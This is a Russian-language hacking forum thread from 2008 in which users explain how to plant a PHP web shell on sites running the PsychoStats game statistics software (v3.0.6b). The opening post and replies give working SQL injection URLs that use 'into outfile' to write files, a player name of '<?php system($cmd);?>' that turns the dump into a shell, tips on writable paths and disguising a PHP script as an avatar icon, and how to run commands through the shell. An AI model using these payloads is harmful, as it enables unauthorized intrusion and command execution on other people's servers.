Авторские статьи Заливаем шелл через PsychoStats

Discussion in 'Статьи' started by AFoST, 8 Jan 2008.

  1. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats.
    Статья, по-существу, является описанием к видео .
    Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись.

    Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл :)
    И так, по шагам...
    Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы...
    Code:
    http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00
    Попробовал на локальном сайте, ввёл в броузерную строку сплойт и получил кучу ошибок, после чего стата больше не открывалась в принципе =\...Не зная в чем дело, попросил помощи в соответствующем разделе на ачате :) Правда, ответа так и не получил, зато мне дали толчок найти другие дыры(спасибо Scipio), собственноручно нашёл уже ранее найденные уязвимости в стате. Это были sql-inj после "order by".
    Code:
    /player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessions
    /clan.php?id=3&psort=(-deaths*1)&porder=desc
    
    Далее хочу сказать спасибо Noiro, он предложил использовать подзапросы в этих скулях, что я и сделал.
    Code:
    /player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessions
    /clan.php?id=3&psort=(-deaths*(select 1))&porder=desc
    
    На удивление, эти скули работали =\ После чего я решил попробовать записать запрос в файл на сервере...
    Code:
    /player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessions
    
    Файл создался и в него было записано следующее...
    Code:
    1191849001	1191849415	7405.11	4	4	1.00	2	50.00	0	0	0.00	0	0.00	593	53	11	13.25	20.75	0	414
    1191852522	1191854127	7283.30	22	10	2.20	10	45.45	0	0	0.00	0	0.00	3262	261	77	11.86	29.50	0	1605
    1191938597	1191938813	7195.62	2	2	1.00	1	50.00	0	0	0.00	1	50.00	404	32	10	16.00	31.25	0	216
    1192130752	1192130937	7067.62	2	0	2	2	100.00	0	0	0.00	0	0.00	229	51	8	25.50	15.69	0	185
    1192024974	1192026895	7038.66	38	18	2.11	4	10.53	0	0	0.00	0	0.00	4999	289	85	7.61	29.41	1	1921
    
    Это статистика некоторого пользователя с id=1093. Как видно записались одни цифры =( После этой неудачи я решил записать запрос в файл через другую скулю(а вдуг чего изменится!!!)...
    Code:
    /clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=desc
    
    Получил в файле такую лабуду...
    Code:
    1093	1093	2007-04-06	2007-09-30	21.24	0	11	8	72.73	36	90.00	40	2.91	28	2.04	308	0	82	377	314	374	333	29.50	88582	607	16	6	0.99	5	0.86	76	0	172	29.45	2284	0	0	0	0	31	584	25	0.96	0.72	1191141416	48366	3	25.00	1373	10751	18.41	3	580	617	495	796	70.50	117	12	0	0	0	1093	167840198	1175835726	3	1	2	7136.22	10000.00	1198267271	1	167840198	\N	[@_oFF_D]~TURIK.<awp>~									0	\N	\N
    1105	1105	2007-04-26	2007-06-02	21.72	0	17	10	58.82	44	88.00	50	1.79	37	1.32	209	0	133	713	683	562	534	33.40	253615	1462	24	17	1.16	16	0.92	130	0	602	34.56	6452	0	0	0	0	32	1742	20	1.19	1.01	1180795626	103380	0	0.00	2799	29702	17.05	10	909	1224	712	1065	66.60	177	12	0	0	0	1105	167840029	1177607393	3	32	33	4230.00	10000.00	1197207865	1	167840029	\N	[@_oFF_D]-=TURIK=-									0	\N	\N
    23	23	2006-04-16	2007-12-16	19.32	0	37	22	59.46	426	88.02	484	1.66	390	1.33	3160	0	1263	6261	8781	5542	7798	41.72	2144771	11281	23	99	0.88	136	0.95	1173	0	4327	30.38	58846	0	0	0	0	40	14241	55	1.26	1.12	1197827019	761210	33	17.65	29223	304526	21.38	62	7654	9540	8698	10894	58.28	1644	187	1	0	0	23	167840133	1145209176	3	49	50	3612.55	3782.04	1197827019	1	167840133	\N	[@_oFF_D]_[@$PeR]						skull.gif			0	\N	\N
    
    
    Помимо всякой чуши из циферок, в файле я нашёл имена мемберов клана с id=3(префикс которого=[@_oFF_D]). Потом мне пришло в голову , что если я состою в клане, то назвавшись, к примеру, "<? system($cmd) ?>", я залью это в файл и получу шелл!!! Благо на имена пользователей в этой стате никаких ограничений не стоит и я так и сделал. Шелл залился, всё прошло замечательно!

    С наилучшими пожеланиями, FoST 8(тире)794(тире)038
    (с) FoST
    08.01.2008, 23:00

    Статья впервые опубликована здесь на ачате.
     
    #1 AFoST, 8 Jan 2008
    Last edited: 8 Jan 2008
    10 people like this.
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    можно и проще сделать,
    лимит подобрать такой,который указывает на твоего пользователя с шеллом
    непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула
     
    1 person likes this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    будет работать если у юзера есть файл прив, а вообще интересно)
     
  4. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Ну да...Тоже вариант. Я когда убедился что в скулях после order by выполняются подзапросы очень удивился :) Поэтому всё делал исключительно через них...
     
  5. NAT_uu

    NAT_uu Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    А есть ещё статьи по взлому этой Психостаты?
     
  6. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    NAT_uu, хз может и есть =)
     
  7. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    google: PsychoStats + vuln
     
  8. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    Обязательно указывать полный путь до папки с правами? Ведь на всех статистиках возможна запись в папку /images , /images/maps/ . Может можно просто
    Code:
    /player.php?id=1093&ssort=(-skill*(select 1 into outfile '/images/file.txt'))&sorder=desc#plrsessions
    ?
     
  9. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    обязательно полный путь, если путь вобще не указывать, то он зальет в текущую папку, т.е. в ту где хранятся файлы базы данных, а они из веба недоступны т.е. поумалчанию файлы заливаются в папку с файлами базы данных
     
    #9 Scipio, 9 Jan 2008
    Last edited: 9 Jan 2008
  10. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Можно попробовать через текущую папку
    outfile './../../..path/file.txt')
    ..path=путь к дире доступной для чтения извне. Но там придётся или подбирать этот самый путь или же использовать заранее найденную локальную php-inj.
     
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    папка с базами мускула как правило находится далеко от папок веба, поэтому
    вот это
    outfile './../../..path/file.txt')
    бесполезно \n =)
    а уж если есть локал пшп инж, то проще залить в /tmp , в неё то всегда записать можно)
     
    1 person likes this.
  12. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Там еще можно иконку заливать в профиле (Хотя я не везде видел).Так вот, вместо нее заливаем пхп скрипт ) Только не помню, называем 1.ico.php - так кажется
     
    7 people like this.
  13. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    не могу зарегать юзера что надо в поле Player Name: когда вписываю имя у меня не регится а пишет только Unique ID does not exist что делать ?
     
  14. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Т.к. большинство ников в стате висят только потому, что с ними играли в самой игре кс, то можно взять и зарегать этот ник на себя :) Чтобы залить шелл обязательно нужно состоять в клане! Так что регай ник, который уже состоит в клане. Если так не получится, тогда заходи в игру, поиграй чуток и в клан войди :)
     
  15. nightmare007

    nightmare007 New Member

    Joined:
    28 Oct 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    я звиняюсь у мя проблемы с мускульными запросами:

    поясните плз сдесь в файл по пути d:/system/.... записывается эм.. инфа о участниках клана...

    я прошу пояснить так как у меня возникла проблема ... как понял для того чтобы пхп-шлл заработал.... надо вывисти в файл одну строку с пхп-имем 1-ого участника клана...

    а у мя в файл выводится инфа о всех пользователях клана и врезультате запуска шела выкидывает страничку с ошибкой

    Плз ..подскажите что не так делаю...

    п.с.
    на этом примере

     
  16. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Для того, чтобы пхп-шелл заработал надо, чтобы в тексте оказалась строчка <?php system($cmd);?> Да, в этом когда записываешь через into outfile, в файле оказывается информация о всех участниках. Имя одного из них(любого) должно быть как раз-таки шеллом. php-код обрабатывается как язык программирования, только лишь в случае встречи спецтегов <? ... ?>
    Запиши в ТХТ файл и покажи, что у тебя там записалось.
     
  17. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    nightmare007, запускай скрипт так
    http://сайт/cs/3.php?cmd=[команда]
    например
    http://сайт/cs/3.php?cmd=id

    У тебя в ошибке написано
    Cannot execute a blank command in W:\www\cs\3.php on line 1
    Невозможно выполнить пустую команду, т к ты не задал переменную $cmd
     
    2 people like this.
  18. ty13r

    ty13r Elder - Старейшина

    Joined:
    18 Jul 2007
    Messages:
    39
    Likes Received:
    2
    Reputations:
    0
    а для какой версии PsychoStats все это проходит то?
     
  19. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Которая в статье - "Powered by PsychoStats v3.0.6b © 2006".
    А чтобы узнать уязвима стата или нет, проведи скл-инъекцию после 'order by'.
     
    1 person likes this.
  20. nightmare007

    nightmare007 New Member

    Joined:
    28 Oct 2006
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    вот что в текстовом файле:



    обратил внимание на <?php system($cmd);?> точку с запятой ..d);?>.. но без результатно что с ней что без неё показывает ошибку и всотут